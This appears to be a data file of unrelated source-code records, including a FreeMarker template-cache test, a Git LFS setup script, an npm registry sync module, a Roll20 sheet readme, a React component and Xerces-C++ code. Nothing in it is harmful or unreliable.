cfg.removeTemplateFromCache(\"1.ftl\");\n assertEquals(\"1_en_US v2\", cfg.getTemplate(\"1.ftl\").toString()); \n assertEquals(\"1_en v1\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString()); \n assertEquals(\"1 v1\", cfg.getTemplate(\"1.ftl\", Locale.GERMANY).toString());\n assertEquals(\"1 v2\", cfg.getTemplate(\"1.ftl\", Locale.ITALY).toString());\n \n cfg.removeTemplateFromCache(\"1.ftl\", Locale.GERMANY);\n assertEquals(\"1_en v1\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString()); \n assertEquals(\"1 v2\", cfg.getTemplate(\"1.ftl\", Locale.GERMANY).toString());\n\n cfg.removeTemplateFromCache(\"1.ftl\", Locale.CANADA);\n assertEquals(\"1_en v1\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString());\n \n cfg.removeTemplateFromCache(\"1.ftl\", Locale.UK);\n assertEquals(\"1_en v2\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString()); \n }\n\n @Test\n public void testZeroUpdateDelay() throws IOException {\n Configuration cfg = new Configuration();\n cfg.setLocale(Locale.US);\n cfg.setCacheStorage(new StrongCacheStorage());\n StringTemplateLoader loader = new StringTemplateLoader();\n cfg.setTemplateLoader(loader);\n cfg.setTemplateUpdateDelay(0);\n for (int i = 1; i <= 3; i++) {\n loader.putTemplate(\"t.ftl\", \"v\" + i, i);\n assertEquals(\"v\" + i, cfg.getTemplate(\"t.ftl\").toString());\n }\n \n loader.putTemplate(\"t.ftl\", \"v10\", 10);\n assertEquals(\"v10\", cfg.getTemplate(\"t.ftl\").toString());\n loader.putTemplate(\"t.ftl\", \"v11\", 10); // same time stamp, different content\n assertEquals(\"v10\", cfg.getTemplate(\"t.ftl\").toString()); // still v10\n assertEquals(\"v10\", cfg.getTemplate(\"t.ftl\").toString()); // still v10\n }\n \n @Test\n public void testIncompatibleImprovementsChangesURLConCaching() throws IOException {\n Version newVersion = Configuration.VERSION_2_3_21;\n Version oldVersion = Configuration.VERSION_2_3_20;\n \n {\n Configuration cfg = new Configuration(oldVersion);\n cfg.setTemplateUpdateDelay(0);\n final MonitoredClassTemplateLoader templateLoader = new MonitoredClassTemplateLoader();\n assertNull(templateLoader.getURLConnectionUsesCaches());\n cfg.setTemplateLoader(templateLoader);\n \n assertNull(templateLoader.getLastTemplateSourceModification());\n cfg.getTemplate(\"test.ftl\");\n assertNull(templateLoader.getLastTemplateSourceModification());\n \n cfg.setIncompatibleImprovements(newVersion);\n assertNull(templateLoader.getLastTemplateSourceModification());\n cfg.getTemplate(\"test.ftl\");\n assertEquals(Boolean.FALSE, templateLoader.getLastTemplateSourceModification());\n \n templateLoader.setURLConnectionUsesCaches(Boolean.valueOf(true));\n templateLoader.setLastTemplateSourceModification(null);\n cfg.getTemplate(\"test.ftl\");\n assertNull(templateLoader.getLastTemplateSourceModification());\n \n templateLoader.setURLConnectionUsesCaches(Boolean.valueOf(false));\n templateLoader.setLastTemplateSourceModification(null);\n cfg.getTemplate(\"test.ftl\");\n assertNull(templateLoader.getLastTemplateSourceModification());\n\n templateLoader.setURLConnectionUsesCaches(null);\n templateLoader.setLastTemplateSourceModification(null);\n cfg.getTemplate(\"test.ftl\");\n assertEquals(Boolean.FALSE, templateLoader.getLastTemplateSourceModification());\n \n templateLoader.setURLConnectionUsesCaches(null);\n cfg.setIncompatibleImprovements(oldVersion);\n templateLoader.setLastTemplateSourceModification(null);\n cfg.getTemplate(\"test.ftl\");\n assertNull(templateLoader.getLastTemplateSourceModification());\n \n cfg.setTemplateLoader(new MultiTemplateLoader(\n new TemplateLoader[] { new MultiTemplateLoader(\n new TemplateLoader[] { templateLoader }) }));\n cfg.setIncompatibleImprovements(newVersion);\n cfg.getTemplate(\"test.ftl\");\n assertEquals(Boolean.FALSE, templateLoader.getLastTemplateSourceModification());\n }\n }\n \n @Test\n public void testWrongEncodingReload() throws IOException {\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_22);\n cfg.setLocale(Locale.US);\n \n StringTemplateLoader tl = new StringTemplateLoader();\n tl.putTemplate(\"utf-8_en.ftl\", \"<#ftl encoding='utf-8'>Foo\");\n tl.putTemplate(\"utf-8.ftl\", \"Bar\");\n cfg.setTemplateLoader(tl);\n \n {\n Template t = cfg.getTemplate(\"utf-8.ftl\", \"Utf-8\");\n assertEquals(\"utf-8.ftl\", t.getName());\n assertEquals(\"utf-8_en.ftl\", t.getSourceName());\n assertEquals(\"Utf-8\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n \n {\n Template t = cfg.getTemplate(\"utf-8.ftl\", \"Utf-16\");\n assertEquals(\"utf-8.ftl\", t.getName());\n assertEquals(\"utf-8_en.ftl\", t.getSourceName());\n assertEquals(\"utf-8\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n }\n\n @Test\n public void testEncodingSelection() throws IOException {\n Locale hungary = new Locale(\"hu\", \"HU\"); \n \n Configuration cfg = new Configuration(Configuration.VERSION_2_3_22);\n cfg.setDefaultEncoding(\"utf-8\");\n \n StringTemplateLoader tl = new StringTemplateLoader();\n tl.putTemplate(\"t.ftl\", \"Foo\");\n tl.putTemplate(\"t_de.ftl\", \"Vuu\");\n tl.putTemplate(\"t2.ftl\", \"<#ftl encoding='UTF-16LE'>Foo\");\n tl.putTemplate(\"t2_de.ftl\", \"<#ftl encoding='UTF-16BE'>Vuu\");\n cfg.setTemplateLoader(tl);\n\n // No locale-to-encoding mapping exists yet:\n {\n Template t = cfg.getTemplate(\"t.ftl\", Locale.GERMANY);\n assertEquals(\"t.ftl\", t.getName());\n assertEquals(\"t_de.ftl\", t.getSourceName());\n assertEquals(\"utf-8\", t.getEncoding());\n assertEquals(\"Vuu\", t.toString());\n }\n \n cfg.setEncoding(Locale.GERMANY, \"ISO-8859-1\");\n cfg.setEncoding(hungary, \"ISO-8859-2\");\n {\n Template t = cfg.getTemplate(\"t.ftl\", Locale.CHINESE);\n assertEquals(\"t.ftl\", t.getName());\n assertEquals(\"t.ftl\", t.getSourceName());\n assertEquals(\"utf-8\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n {\n Template t = cfg.getTemplate(\"t.ftl\", Locale.GERMANY);\n assertEquals(\"t.ftl\", t.getName());\n assertEquals(\"t_de.ftl\", t.getSourceName());\n assertEquals(\"ISO-8859-1\", t.getEncoding());\n assertEquals(\"Vuu\", t.toString());\n }\n {\n Template t = cfg.getTemplate(\"t.ftl\", hungary);\n assertEquals(\"t.ftl\", t.getName());\n assertEquals(\"t.ftl\", t.getSourceName());\n assertEquals(\"ISO-8859-2\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n \n // #ftl header overrides:\n {\n Template t = cfg.getTemplate(\"t2.ftl\", Locale.CHINESE);\n assertEquals(\"t2.ftl\", t.getName());\n assertEquals(\"t2.ftl\", t.getSourceName());\n assertEquals(\"UTF-16LE\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n {\n Template t = cfg.getTemplate(\"t2.ftl\", Locale.GERMANY);\n assertEquals(\"t2.ftl\", t.getName());\n assertEquals(\"t2_de.ftl\", t.getSourceName());\n assertEquals(\"UTF-16BE\", t.getEncoding());\n assertEquals(\"Vuu\", t.toString());\n }\n {\n Template t = cfg.getTemplate(\"t2.ftl\", hungary);\n assertEquals(\"t2.ftl\", t.getName());\n assertEquals(\"t2.ftl\", t.getSourceName());\n assertEquals(\"UTF-16LE\", t.getEncoding());\n assertEquals(\"Foo\", t.toString());\n }\n }\n \n @Test\n public void testTemplateNameFormatExceptionAndBackwardCompatibility() throws TemplateNotFoundException, MalformedTemplateNameException, ParseException, IOException {\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_22);\n \n assertNull(cfg.getTemplate(\"../x\", null, null, null, true, true));\n try {\n cfg.getTemplate(\"../x\");\n fail();\n } catch (TemplateNotFoundException e) {\n // expected\n }\n \n // [2.4] Test it with IcI 2.4\n \n cfg.setTemplateNameFormat(TemplateNameFormat.DEFAULT_2_4_0);\n try {\n cfg.getTemplate(\"../x\", null, null, null, true, true);\n fail();\n } catch (MalformedTemplateNameException e) {\n // expected\n }\n try {\n cfg.getTemplate(\"../x\");\n fail();\n } catch (MalformedTemplateNameException e) {\n // expected\n }\n }\n \n private static class MonitoredClassTemplateLoader extends ClassTemplateLoader {\n \n private Boolean lastTemplateSourceModification;\n\n public MonitoredClassTemplateLoader() {\n super(TemplateCacheTest.class, \"\");\n }\n\n @Override\n public Object findTemplateSource(String name) throws IOException {\n final URL url = getURL(name);\n if (url == null) return null;\n return new SpyingURLTemplateSource(url, getURLConnectionUsesCaches());\n }\n\n Boolean getLastTemplateSourceModification() {\n return lastTemplateSourceModification;\n }\n\n void setLastTemplateSourceModification(Boolean lastTemplateSourceModification) {\n this.lastTemplateSourceModification = lastTemplateSourceModification;\n }\n \n private class SpyingURLTemplateSource extends URLTemplateSource {\n \n SpyingURLTemplateSource(URL url, Boolean useCaches) throws IOException {\n super(url, useCaches);\n }\n\n @Override\n void setUseCaches(boolean useCaches) {\n setLastTemplateSourceModification(Boolean.valueOf(useCaches));\n super.setUseCaches(useCaches);\n }\n \n }\n \n }\n\n}\n"} {"text": "#!/bin/bash\n\nif ! git lfs help 1>/dev/null 2>&1 ; then\n echo ''\n echo \"You should intall LFS first!\"\n echo \"Please following instructions on 'http://tapd.oa.com/QB/markdown_wikis/view/#1010110511006951537'\"\n exit 1\nfi\n\n[ -n \"$1\" -a -d \"$1\" ] && cd \"$1\"\n\necho \"当前目录:$(pwd)\"\nread -p '确认开启LFS?(Y/N) ' opt\n[[ \"${opt}\" =~ [Nn] ]] && exit 2\n\nif [ $(git status --short | grep -v 'SubProject/' | wc -l) -gt 0 ]; then\n echo ''\n echo \"There're uncommited local modifications:\"\n git status --short\n echo \"Please commit/stash/reset first.\"\n exit 3\nfi\n\nbinary_ext=\"\n*.so\n*.zip\n*.jsbundle\n*.jar\n*.dat\n*.7z\n*.xls\n*.xlsx\n*.doc\n*.docx\n*.ttf\n*.symbol\n*.rar\n*.qbs\n*.qar\n*.mp3\n*.mp4\n*.gz\n*.tar\n*.apk\n*.aar\n*.exe\n*.dll\n*.arsc\n*.bin\n*.obj\n*.wxapkg\n*.hprof\n*.trace\n*.glsl\n*.class\n*.dex\n\"\n\nfor ext in ${binary_ext}\ndo\n git lfs track ${ext}\ndone\n\ngit add .gitattributes\ngit commit -m 'enable lfs'\n\necho -e \"\\n\"\necho \"LFS is enabled for $(pwd | sed -e 's#/$##' -e 's#.*/##'). Please manually commit following binary files:\"\ngit status --short\n\nexit 0\n"} {"text": "'use strict';\n\nconst ChangesStream = require('changes-stream');\nconst path = require('path');\nconst fs = require('mz/fs');\nconst urllib = require('urllib');\nconst streamAwait = require('await-event');\nconst logger = require('../common/logger');\nconst config = require('../config');\n\nconst db = config.officialNpmReplicate;\nconst lastSeqFile = path.join(config.dataDir, '.cnpmjs.org.last_seq.txt');\nlet _STREAM_ID = 0;\n\n// debug: curl -v https://replicate.npmjs.com/_changes?since=9052545\n\nmodule.exports = function* sync() {\n const pedding = [];\n const since = yield getLastSequence();\n const streamId = _STREAM_ID++;\n let changesCount = 0;\n logger.syncInfo('start changes stream#%d, since: %s', streamId, since);\n const changes = new ChangesStream({\n db,\n since,\n include_docs: false,\n });\n changes.await = streamAwait;\n changes.on('data', change => {\n changesCount++;\n logger.syncInfo('stream#%d get change#%d: %j', streamId, changesCount, change);\n pedding.push(change);\n // syncPackage(change);\n });\n\n const timer = setInterval(function() {\n for (var i = 0; i < 100; i++) {\n var change = pedding.shift();\n if (!change) {\n break;\n }\n syncPackage(change);\n }\n }, 5000);\n\n try {\n yield changes.await('error');\n } catch (err) {\n clearInterval(timer);\n // make sure changes steam is destroy\n changes.destroy();\n err.message += `, stream#${streamId}, changesCount#${changesCount}`;\n throw err;\n }\n};\n\nfunction syncPackage(change) {\n const url = `${config.handleSyncRegistry}/${change.id}/sync`;\n // sync upstream and without deps\n urllib.request(`${url}?sync_upstream=true&nodeps=true`, {\n method: 'PUT',\n dataType: 'json',\n timeout: 10000,\n }, (err, data) => {\n if (err) {\n logger.syncInfo('%s:%s PUT %s error: %s, retry after 5s',\n change.seq, change.id, url, err);\n logger.syncError(err);\n setTimeout(() => syncPackage(change), 5000);\n } else {\n saveLastSequence(change.seq);\n logger.syncInfo('%s:%s sync request sent, log: %s/log/%s',\n change.seq, change.id, url, data.logId);\n }\n });\n}\n\nfunction* getLastSequence() {\n let lastSeq;\n if (yield fs.exists(lastSeqFile)) {\n lastSeq = yield fs.readFile(lastSeqFile, 'utf8');\n lastSeq = Number(lastSeq);\n }\n if (!lastSeq) {\n lastSeq = 2649694;\n }\n // const r = yield urllib.request(db, {\n // dataType: 'json',\n // timeout: 15000,\n // });\n // logger.syncInfo('get registry info: %j', r.data);\n // if (lastSeq < r.data.update_seq) {\n // lastSeq = r.data.update_seq;\n // }\n return lastSeq;\n}\n\nfunction saveLastSequence(seq) {\n fs.writeFile(lastSeqFile, String(seq), () => {});\n}\n"} {"text": "declare namespace jdk {\n namespace nashorn {\n namespace internal {\n namespace codegen {\n class FoldConstants$BinaryNodeConstantEvaluator extends jdk.nashorn.internal.codegen.FoldConstants$ConstantEvaluator<jdk.nashorn.internal.ir.BinaryNode> {\n protected eval(): jdk.nashorn.internal.ir.LiteralNode<any>\n public static class: java.lang.Class<any>\n }\n }\n }\n }\n}"} {"text": "This sheet was inspired by the Palladium Megaverse sheet, but has had several changes for those familiar with that sheet.\n\n### Roll Template\n- The roll template is based on one written by Jakob and referenced here: [A Better Default Template](https://app.roll20.net/forum/permalink/6792597/)\n- This sheet has a roll template that is called by &{template:custom}.\n- You specify a color with {{color=black}}. Available colors are black, brown, blue, red, grey, yellow, green, teal, orange, pine, ice, violet, sun, and wine. The reason for that many color options is to be able to use different colors for different types of magic.\n- The sheet uses black, brown, yellow, red, blue, green, and grey for various rolls.\n- You can specify both a title and subtitle as {{title=Desired Title}} and {{subtitle=Desired Subtitle}}\n- Any rolls or inline macros can be assigned the same as the default Roll20 template.\n- There is a description section that is called as {{desc=Desired Description}}. This section will honor line breaks making larger descriptions or even simple table options possible.\n- If a description is used, it must always be the last section displayed.\n- The roll template is built to change the pink \"chat menu\" buttons into blue text with no box.\n- Because I like to apply circumstantial bonuses and penalties to skills, I do not have skill or stat rolls set up to show success or failure. Instead it will show the roll and the target number.\n\n### Menu Roll Template\n- You can also call the template as &{template:menu}.\n- The main difference is that the description section will display all text centered, bold, and in italics. I use this for all chat menus. Details on creating chat menus can be found in the Stupid Roll20 Tricks thread on the forums: [Chat Menus](https://app.roll20.net/forum/permalink/5927072/)\n\n### Roll Template Example\nThis example is the macro I use for the healer ability Healing Touch.\n```\n&{template:custom} {{color=sun}} {{title=**@{character_name}**}} {{subtitle=Healing Touch}} {{ISP=[[8]]}} {{Healing=[[2d6+2]]}} {{desc=By the laying of hands and force of will, the healer can heal the pain and effects of burns, cuts, bruises, broken bones, etc. The healing touch works only on others (not self) and can be done as often as once every other melee until I.S. P. are used up.}}\n```\n\n### Auto Calculated Stat Bonuses\n- I.Q. bonuses are auto calculated and displayed at the top of the Skills tab. Any bonus is subtracted from the percentile roll in the OCC, Elective, and Secondary skill sections.\n- M.A. bonus to trust and intimidate is autocalculated and displayed in the light blue section.\n- P.S. bonus to damage is autocalulated and displayed on the Combat Tab under Hand to Hand Combat skill. This will be included in any damage roll from the melee attack section of the Statistics tab.\n- P.P. bonuses to parry and dodge are autocalculated and displayed on the Combat Tab under Hand to Hand Combat skill. This will be included in rolling Dodge in the light blue section of the Statistics tab, or rolling parry in the Melee Attacks section of the Statistics tab.\n- P.B. bonuses to charm and impress are autocalculated and displayed in the light blue section.\n- Spd. is autocalculated to rough miles per hour and displayed in the gold section. It also calculates movement per action in case people are using that 2E mechanic.\n- Saving throw bonuses from M.E. and P.E. are autocalculated and displayed below the rolls in the Saving Throw section of the combat tab. They are included in the calculation of the rolls.\n\n### Stat Rolls\n- The stat rolls are set up to roll 2 numbers. The first is a d20, and the second is d100.\n- The \"Perception\" roll in the light blue section of the Basic tab is basically a d20 stat check. It takes the average (rounded down) of the I.Q. and M.E. for a target number. Since perception doesn't exist in 1E, this was my personal solution. Use it or ignore it as you wish.\n\n### Extra Attributes\n- The right hand column of the Basic tab has quite a list of things there. This is all to facilitate the creation of macros and being able to link tokens easily to different resources.\n- Hit Points = @{character_hp}\n- A.R. = @{character_ar}\n- S.D.C. = @{character_sdc}\n- Psion Level = @{psi_level}\n- Psion I.S.P. = @{character_pisp}\n- Heal I.S.P. = @{character_hisp}\n- Caster Level = @{caster_level}\n- Daily Casts = @{character_casts}\n- Spell Str = @{spell_strength}\n- Ward Level = @{ward_level}\n- Daily Wards = @{ward_casts}\n- Ward Str = @{ward_strength}\n- Circle Level = @{circle_level}\n- Circle Str = @{circle_strength}\n\n### Extra Movement\n- I included this to be used in case of a character having a common secondary mode of travel such as a mount, spell, or magic item.\n- This repeating section does not autocalculate values. You can temporarily change the Spd attribute to get all the different calculated values to enter manually.\n\n### Melee Attacks\n- This repeating section will pull in any bonuses found under the Hand to Hand Combat skill, including P.S. or P.P. bonuses. This also includes changing the critical strike threshold if it is changed there. Weapon proficiency bonuses will need to be added manually.\n- Any info entered into notes will be displayed using the description part of the roll template, but will not appear at all if left blank.\n\n### Ranged and Spell Attacks\n- This repeating section pulls nothing from anywhere, except for the Ranged Critical Strike which can change in the case of Longbowmen.\n- All other info is entered manually and makes for a good place to place some magic and psionic abilities in addition to ranged weapon attacks, such as Mental Bolt of Force or Ball Lightning.\n\n### Initiative\n- The built in Initiative macro adds 80 to the d20 dice roll. This is to facilitate use of an API script that can add multiple instances of a token on the tracker, reducing the initiative value by 20 for each additional entry. Since multiple actions are not clumped all together as with D&D, the extra room for spreading out multiple attacks I have found useful.\n\n### Skill Rolls\n- As mentioned earlier, any bonus for an exceptional I.Q. will be subtracted from rolls in the OCC, Elective, and Secondary Skills sections.\n- The rolls will roll the percentage and display the target number of your skill.\n- Any notes about the skills will be displayed in the description part of the template.\n- The mystic skills section is intended for druid class rolls, deducing circle invocations, detecting illusions, and other magical type class skills that have a percentile roll.\n- Since I am not sure the I.Q. bonus should apply for some of these types of skills, that bonus is not automatically applied in the Mystic skills section.\n\n### Recommended API\n- If you have access to the API, I highly recommend the use of 2 API scripts.\n- [Universal Chat Menus on Roll20 Forums](https://app.roll20.net/forum/permalink/7474530/) \n- [Initiative Duplicator on Roll20 Forums](https://app.roll20.net/forum/permalink/6817748/)\n\n### Universal Chat Menu Macro Example for Skills\n```\n!chatmenu @{selected|character_id} {template:menu} {{color=green}} {{title=**@{selected|character_name}**}}{{subtitle=**Complete Skill List**}} {{desc=CHATMENU}} --title:OCC Skills --separator:~ --repeating_skillocc|skill_name|occskill --title:Elective Skills --separator:~ --repeating_skillelective|skill_name|electiveskill --title:Secondary Skills --separator:~ --repeating_skillsecondary|skill_name|secondaryskill --title:Mystic Skills --separator:~ --repeating_skillmystic|skill_name|mysticskill\n```\n\n### Initiative Duplicator Macro Example\n```\n!dup-turn ?{How many attacks?|}\n```\n\n### Disclaimer\nPalladium Fantasy 1E has been around a long while. It is from an era where house rules were not frowned upon, but encouraged. As such, I have tried to put enough options in this sheet to allow for creativity. I am a definite novice at html, css, or anything else that has gone into this sheet, so any major revisions for automation may be beyond me. It is in the current state due to the generous help of the Roll20 forum community. As K.S. would say, Game On!\n"} {"text": "import React from 'react'\nimport './RepoDetailsDesktopLayout.css'\nimport './RepoDetails.css'\nimport { Row, InputGroup, FormControl, Button, Spinner, OverlayTrigger, Tooltip } from 'react-bootstrap/'\nimport { FontAwesomeIcon } from '@fortawesome/react-fontawesome'\nimport { faStopCircle } from '@fortawesome/free-solid-svg-icons';\n\nconst RepoDetailsDesktopLayout = (props) => {\n\n return (\n <Row>\n <InputGroup>\n <InputGroup.Prepend>\n <OverlayTrigger\n placement=\"bottom\"\n delay={{ show: 100 }}\n overlay={<Tooltip>Tip: you can paste any GitHub URL or string in the format of \"username/repo\"</Tooltip>}\n >\n <InputGroup.Text>Repo Details</InputGroup.Text>\n </OverlayTrigger>\n </InputGroup.Prepend>\n <FormControl\n ref={props.userName}\n placeholder=\"Username\"\n aria-label=\"Username\"\n onKeyPress={props.handleKeyPress}\n onPaste={props.handlePaste}\n />\n <InputGroup.Prepend>\n <InputGroup.Text>/</InputGroup.Text>\n </InputGroup.Prepend>\n <FormControl\n ref={props.repoName}\n placeholder=\"Repo name\"\n aria-label=\"Repo name\"\n onKeyPress={props.handleKeyPress}\n onPaste={props.handlePaste}\n />\n {!props.loadInProgress ?\n <Button\n className=\"RepoDetailsDesktopLayout-goButton\"\n type=\"button\" \n onClick={props.onGoClick}>Go!\n </Button>\n :\n <div>\n <Button \n className=\"RepoDetailsDesktopLayout-loadingButton\"\n type=\"button\" \n disabled>\n <Spinner\n as=\"span\"\n animation=\"border\"\n size=\"sm\"\n role=\"status\"\n aria-hidden=\"true\"\n /> Loading...\n </Button>\n <Button className=\"RepoDetails-stopButton\" onClick={props.onStopClick}>\n <FontAwesomeIcon icon={faStopCircle} />\n </Button>\n </div>\n }\n </InputGroup>\n </Row>\n )\n}\n\nexport default RepoDetailsDesktopLayout"} {"text": "/*\n This Software is provided under the Zope Public License (ZPL) Version 2.1.\n\n Copyright (c) 2009, 2010 by the mingw-w64 project\n\n See the AUTHORS file for the list of contributors to the mingw-w64 project.\n\n This license has been certified as open source. It has also been designated\n as GPL compatible by the Free Software Foundation (FSF).\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions in source code must retain the accompanying copyright\n notice, this list of conditions, and the following disclaimer.\n 2. Redistributions in binary form must reproduce the accompanying\n copyright notice, this list of conditions, and the following disclaimer\n in the documentation and/or other materials provided with the\n distribution.\n 3. Names of the copyright holders must not be used to endorse or promote\n products derived from this software without prior written permission\n from the copyright holders.\n 4. The right to distribute this software or to use it for any purpose does\n not give you the right to use Servicemarks (sm) or Trademarks (tm) of\n the copyright holders. Use of them is covered by separate agreement\n with the copyright holders.\n 5. If any files are modified, you must cause the modified files to carry\n prominent notices stating that you changed the files and the date of\n any change.\n\n Disclaimer\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY EXPRESSED\n OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT,\n INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, \n OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#define _NEW_COMPLEX_FLOAT 1\n#include \"acosh.def.h\"\n"} {"text": "[name]\nOptions to set fixed fonts\n\n[options]\nfixed CR\nfixedbold CY\nfixeditalic CW\nfixedbolditalic CX\n\n[input]\n=head1 FIXED FONTS\n\nC<foo B<bar I<baz>> I<bay>>\n\n[output]\n.SH \"FIXED FONTS\"\n.IX Header \"FIXED FONTS\"\n\\&\\f(CR\\*(C`foo \\f(CYbar \\f(CXbaz\\f(CY\\f(CR \\f(CWbay\\f(CR\\*(C'\\fR\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"DOMTypeInfoImpl.hpp\"\n#include \"DOMDocumentImpl.hpp\"\n#include <xercesc/framework/psvi/PSVIItem.hpp>\n#include <xercesc/framework/psvi/XSTypeDefinition.hpp>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedElement;\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdNotValidatedAttribute;\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedCDATAAttribute(XMLUni::fgInfosetURIName, XMLUni::fgCDATAString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedIDAttribute(XMLUni::fgInfosetURIName, XMLUni::fgIDString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedIDREFAttribute(XMLUni::fgInfosetURIName, XMLUni::fgIDRefString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedIDREFSAttribute(XMLUni::fgInfosetURIName, XMLUni::fgIDRefsString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedENTITYAttribute(XMLUni::fgInfosetURIName, XMLUni::fgEntityString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedENTITIESAttribute(XMLUni::fgInfosetURIName, XMLUni::fgEntitiesString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedNMTOKENAttribute(XMLUni::fgInfosetURIName, XMLUni::fgNmTokenString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedNMTOKENSAttribute(XMLUni::fgInfosetURIName, XMLUni::fgNmTokensString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedNOTATIONAttribute(XMLUni::fgInfosetURIName, XMLUni::fgNotationString);\n/*static*/ DOMTypeInfoImpl DOMTypeInfoImpl::g_DtdValidatedENUMERATIONAttribute(XMLUni::fgInfosetURIName, XMLUni::fgEnumerationString);\n\nDOMTypeInfoImpl::DOMTypeInfoImpl(const XMLCh* namespaceUri/*=0*/, const XMLCh* name/*=0*/)\n: fBitFields(0),\n fTypeName(name),\n fTypeNamespace(namespaceUri),\n fMemberTypeName(0),\n fMemberTypeNamespace(0),\n fDefaultValue(0),\n fNormalizedValue(0)\n{\n // by setting the fBitField to 0 we are also setting:\n // - [validity]=VALIDITY_NOTKNOWN\n // - [validitation attempted]=VALIDATION_NONE\n // - [schema specified]=false\n}\n\nDOMTypeInfoImpl::DOMTypeInfoImpl(DOMDocumentImpl* ownerDoc, const DOMPSVITypeInfo* sourcePSVI)\n: fBitFields(0),\n fTypeName(0),\n fTypeNamespace(0),\n fMemberTypeName(0),\n fMemberTypeNamespace(0),\n fDefaultValue(0),\n fNormalizedValue(0)\n{\n setNumericProperty(DOMPSVITypeInfo::PSVI_Validity,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Validity));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Validation_Attempted,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Validation_Attempted));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Type,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Type));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Anonymous,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Anonymous));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Nil,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Nil));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Anonymous,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Anonymous));\n setNumericProperty(DOMPSVITypeInfo::PSVI_Schema_Specified,\n sourcePSVI->getNumericProperty(DOMPSVITypeInfo::PSVI_Schema_Specified));\n\n setStringProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Name,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Name)));\n setStringProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Namespace,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Type_Definition_Namespace)));\n setStringProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Name,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Name)));\n setStringProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Namespace,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Member_Type_Definition_Namespace)));\n setStringProperty(DOMPSVITypeInfo::PSVI_Schema_Default,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Schema_Default)));\n setStringProperty(DOMPSVITypeInfo::PSVI_Schema_Normalized_Value,\n ownerDoc->getPooledString(sourcePSVI->getStringProperty(DOMPSVITypeInfo::PSVI_Schema_Normalized_Value)));\n}\n\nconst XMLCh* DOMTypeInfoImpl::getTypeName() const {\n // if it's a DTD, return the data that was stored\n 